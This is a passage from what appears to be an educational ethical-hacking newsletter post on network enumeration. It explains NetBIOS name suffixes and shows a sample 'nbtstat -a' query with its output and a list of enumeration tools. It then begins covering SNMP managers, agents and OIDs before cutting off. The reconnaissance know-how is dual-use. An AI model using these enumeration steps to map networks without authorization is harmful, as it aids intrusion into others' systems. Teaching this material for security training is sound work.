loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>You didn't think it would be all about wearing masks and furiously typing green text in terminal windows, did you? Don't worry. Take it one step at a time, and before you know it, you'll master these concepts. </p><p>With that said, let&#8217;s get to it.</p><div><hr></div><h2>NetBIOS Enumeration (Port 139)</h2><p><strong>NetBIOS (Network Basic Input/Output System) is a legacy networking protocol used primarily in older Windows systems.</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Gvrx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe43e90e0-b22f-4c92-9240-2245a1e45b6d_1500x500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Gvrx!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe43e90e0-b22f-4c92-9240-2245a1e45b6d_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Gvrx!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe43e90e0-b22f-4c92-9240-2245a1e45b6d_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Gvrx!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe43e90e0-b22f-4c92-9240-2245a1e45b6d_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Gvrx!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe43e90e0-b22f-4c92-9240-2245a1e45b6d_1500x500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Gvrx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe43e90e0-b22f-4c92-9240-2245a1e45b6d_1500x500.jpeg" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e43e90e0-b22f-4c92-9240-2245a1e45b6d_1500x500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:301817,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe43e90e0-b22f-4c92-9240-2245a1e45b6d_1500x500.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Gvrx!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe43e90e0-b22f-4c92-9240-2245a1e45b6d_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Gvrx!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe43e90e0-b22f-4c92-9240-2245a1e45b6d_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Gvrx!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe43e90e0-b22f-4c92-9240-2245a1e45b6d_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Gvrx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe43e90e0-b22f-4c92-9240-2245a1e45b6d_1500x500.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>It allows Windows systems to share files, folders, and printers across a local area network. Although Microsoft is phasing it out, you'll still find it in legacy environments for compatibility.</p><blockquote><p><strong>NetBIOS in the Real World:</strong></p><p><strong>WannaCry, a malicious ransomware cryptoworm, launched a global cyberattack in May 2017. </strong>It targeted computers running outdated and unpatched versions of Microsoft Windows. WannaCry encrypted victims' files and demanded ransom payments in Bitcoin for decryption keys.</p><p>WannaCry used NetBIOS to scan for and spread to other vulnerable computers on networks. It exploited a vulnerability in the Server Message Block (SMB) protocol, which operates over NetBIOS, to propagate like a worm.</p></blockquote><h3><strong>With NetBIOS, you can find:</strong></h3><ol><li><p>Lists of computers that belong to a domain</p></li><li><p>File shares on individual network hosts</p></li><li><p>Policies and passwords</p></li></ol><p>NetBIOS responses consist of a 16-byte ASCII string that identifies devices or services. The name portion takes up to 15 bytes, while the final byte is reserved for the NetBIOS code, which tells you the service type.</p><h3>NetBIOS Codes (Suffixes):</h3><p>A NetBIOS suffix is the 16th byte of a NetBIOS name. Microsoft networking software uses this suffix to identify the type of service running on a device. The suffixes appear in hexadecimal format because many are unprintable characters.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fJUO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f67c12-c0a8-46d1-a898-897a018a65d4_1000x700.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fJUO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f67c12-c0a8-46d1-a898-897a018a65d4_1000x700.png 424w, https://substackcdn.com/image/fetch/$s_!fJUO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f67c12-c0a8-46d1-a898-897a018a65d4_1000x700.png 848w, https://substackcdn.com/image/fetch/$s_!fJUO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f67c12-c0a8-46d1-a898-897a018a65d4_1000x700.png 1272w, https://substackcdn.com/image/fetch/$s_!fJUO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f67c12-c0a8-46d1-a898-897a018a65d4_1000x700.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fJUO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f67c12-c0a8-46d1-a898-897a018a65d4_1000x700.png" width="1000" height="700" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/14f67c12-c0a8-46d1-a898-897a018a65d4_1000x700.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:700,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:163113,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f67c12-c0a8-46d1-a898-897a018a65d4_1000x700.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fJUO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f67c12-c0a8-46d1-a898-897a018a65d4_1000x700.png 424w, https://substackcdn.com/image/fetch/$s_!fJUO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f67c12-c0a8-46d1-a898-897a018a65d4_1000x700.png 848w, https://substackcdn.com/image/fetch/$s_!fJUO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f67c12-c0a8-46d1-a898-897a018a65d4_1000x700.png 1272w, https://substackcdn.com/image/fetch/$s_!fJUO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f67c12-c0a8-46d1-a898-897a018a65d4_1000x700.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A single computer can have multiple NetBIOS names registered, each with the same machine name but different suffixes. These different suffixes uniquely identify the various functions or services available on that host.</p><h3>Example: NetBIOS Enumeration</h3><p>Running the nbtstat command with the -a parameter is used to query a remote computer&#8217;s NetBIOS Name Service to retrieve its local name table, listing registered names and suffixes.</p><p>The table, stored in memory on each NetBIOS-enabled device, is dynamically generated and sent in response. For example, if a machine with NetBIOS is located at internal IP 192.168.1.10, running this command:</p><pre><code><code>nbtstat -a 192.168.1.10</code></code></pre><p>Will return a result like:</p><pre><code><code>NetBIOS Remote Machine Name Table

Name               Type         Status
---------------------------------------------
PC1            &lt;00&gt;  UNIQUE      Registered
PC1            &lt;03&gt;  UNIQUE      Registered
PC1            &lt;20&gt;  UNIQUE      Registered
MYDOMAIN       &lt;00&gt;  GROUP       Registered
MYDOMAIN       &lt;1C&gt;  GROUP       Registered</code></code></pre><h4>Explanation of the Response</h4><p>The response shows NetBIOS name registrations that function like a phone book for network services. The codes with "PC1" represent individual computer services - <code>&lt;00&gt;</code> is the basic computer name, <code>&lt;03&gt;</code> enables network messaging, and <code>&lt;20&gt;</code> indicates file/print sharing is active. </p><p>The "MYDOMAIN" entries with <code>&lt;00&gt;</code> and <code>&lt;1C&gt;</code> codes show the computer belongs to a workgroup or domain called "MYDOMAIN" and can locate domain controllers. All services show "Registered" status, meaning they're properly functioning and available to other network computers.</p><div><hr></div><h3>NetBIOS Enumeration Tools:</h3><ul><li><p>NetBIOS Enumerator</p></li><li><p>Nmap</p></li><li><p>Global Network Inventory</p></li><li><p>Advanced IP Scanner</p></li><li><p>Hyena</p></li></ul><div><hr></div><h3>NetBIOS Enumeration Lab Exercise:</h3><p><strong>Ready to try NetBIOS enumeration? Try this lab exercise:</strong></p><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;74447486-0ca2-425d-b38f-7a5368d9c5e3&quot;,&quot;caption&quot;:&quot;Enumeration is the second step of Phase 2 (Scanning) in the EC-Council Ethical Hacking methodology. In this phase, we actively probe target systems to gather detailed information about available services, resources, and potential vulnerabilities.&quot;,&quot;cta&quot;:&quot;Read full story&quot;,&quot;showBylines&quot;:true,&quot;size&quot;:&quot;sm&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;Lab: NetBIOS Enumeration with Windows Command Line Tools&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:313925317,&quot;name&quot;:&quot;Dark Marc&quot;,&quot;bio&quot;:&quot;The digital world is under attack&#8212;breaches, exploits, and evolving threats. Will you be ready? Join me as we explore hacking, cybersecurity, and the edge of digital warfare. Stay sharp. Stay ahead.&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f76ab9c8-c43d-4098-b472-db750cc2b403_500x500.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2025-09-16T00:12:08.509Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!YNfM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://darkmarc.substack.com/p/lab-netbios-enumeration-with-windows&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:173696599,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:1,&quot;comment_count&quot;:0,&quot;publication_id&quot;:null,&quot;publication_name&quot;:&quot;Dark Marc | Cybersecurity, Hacking &amp; Tech&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!VPsM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><div><hr></div><h2>SNMP Enumeration</h2><p>SNMP stands for Simple Network Management Protocol. It's a network protocol that allows network administrators to monitor and manage network devices. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CeaN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f41920a-2bf9-474f-bdb2-f7b5e0b3e467_900x300.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CeaN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f41920a-2bf9-474f-bdb2-f7b5e0b3e467_900x300.gif 424w, https://substackcdn.com/image/fetch/$s_!CeaN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f41920a-2bf9-474f-bdb2-f7b5e0b3e467_900x300.gif 848w, https://substackcdn.com/image/fetch/$s_!CeaN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f41920a-2bf9-474f-bdb2-f7b5e0b3e467_900x300.gif 1272w, https://substackcdn.com/image/fetch/$s_!CeaN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f41920a-2bf9-474f-bdb2-f7b5e0b3e467_900x300.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CeaN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f41920a-2bf9-474f-bdb2-f7b5e0b3e467_900x300.gif" width="900" height="300" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1f41920a-2bf9-474f-bdb2-f7b5e0b3e467_900x300.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:300,&quot;width&quot;:900,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:941242,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/gif&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f41920a-2bf9-474f-bdb2-f7b5e0b3e467_900x300.gif&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CeaN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f41920a-2bf9-474f-bdb2-f7b5e0b3e467_900x300.gif 424w, https://substackcdn.com/image/fetch/$s_!CeaN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f41920a-2bf9-474f-bdb2-f7b5e0b3e467_900x300.gif 848w, https://substackcdn.com/image/fetch/$s_!CeaN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f41920a-2bf9-474f-bdb2-f7b5e0b3e467_900x300.gif 1272w, https://substackcdn.com/image/fetch/$s_!CeaN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f41920a-2bf9-474f-bdb2-f7b5e0b3e467_900x300.gif 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>SNMP-enabled devices automatically send information about their status, performance, and configuration to management systems. It can detect crashes, hardware failures, and other network events.</p><div><hr></div><h3>How SNMP Works</h3><p>SNMP operates using a straightforward client-server model with three core components that work in coordination:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8mcH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2bac272-a056-4bf2-9f29-b4fd6fc819de_1000x333.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8mcH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2bac272-a056-4bf2-9f29-b4fd6fc819de_1000x333.jpeg 424w, https://substackcdn.com/image/fetch/$s_!8mcH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2bac272-a056-4bf2-9f29-b4fd6fc819de_1000x333.jpeg 848w, https://substackcdn.com/image/fetch/$s_!8mcH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2bac272-a056-4bf2-9f29-b4fd6fc819de_1000x333.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!8mcH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2bac272-a056-4bf2-9f29-b4fd6fc819de_1000x333.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8mcH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2bac272-a056-4bf2-9f29-b4fd6fc819de_1000x333.jpeg" width="1000" height="333" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e2bac272-a056-4bf2-9f29-b4fd6fc819de_1000x333.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:333,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:36919,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2bac272-a056-4bf2-9f29-b4fd6fc819de_1000x333.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8mcH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2bac272-a056-4bf2-9f29-b4fd6fc819de_1000x333.jpeg 424w, https://substackcdn.com/image/fetch/$s_!8mcH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2bac272-a056-4bf2-9f29-b4fd6fc819de_1000x333.jpeg 848w, https://substackcdn.com/image/fetch/$s_!8mcH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2bac272-a056-4bf2-9f29-b4fd6fc819de_1000x333.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!8mcH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2bac272-a056-4bf2-9f29-b4fd6fc819de_1000x333.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>SNMP Manager</strong> - This is the monitoring system that actively requests information from network devices. It sends queries to devices across the network and processes the responses to provide administrators with visibility into network status and performance.</p><p><strong>SNMP Agent</strong> - Software running on each network device that responds to requests from the SNMP Manager. The agent maintains local device information and can send this data when queried or automatically notify the manager of critical events.</p><p><strong>MIB (Management Information Base)</strong> - A structured database that organizes all manageable information in a hierarchical tree format, similar to a file system directory structure. The MIB standardizes what information is available and how it's accessed.</p><p>These components work together through a standardized addressing system where each piece of information has a unique Object Identifier (OID) expressed as dot-separated numbers. </p><p>When the SNMP Manager needs specific information, it sends a request using the appropriate OID to the target device's SNMP Agent. The agent then looks up that OID in its local MIB implementation and returns the corresponding data.</p><p><strong>For example:</strong> When querying System Description (OID 1.3.6.1.2.1.1.1), a Linux server responds with "Ubuntu 20.04" while a Cisco router returns "Cisco IOS Version 15.1". System Name queries (1.3.6.1.2.1.1.5) might return hostnames like "WEBSERVER01" or "ROUTER-MAIN", and network interface information 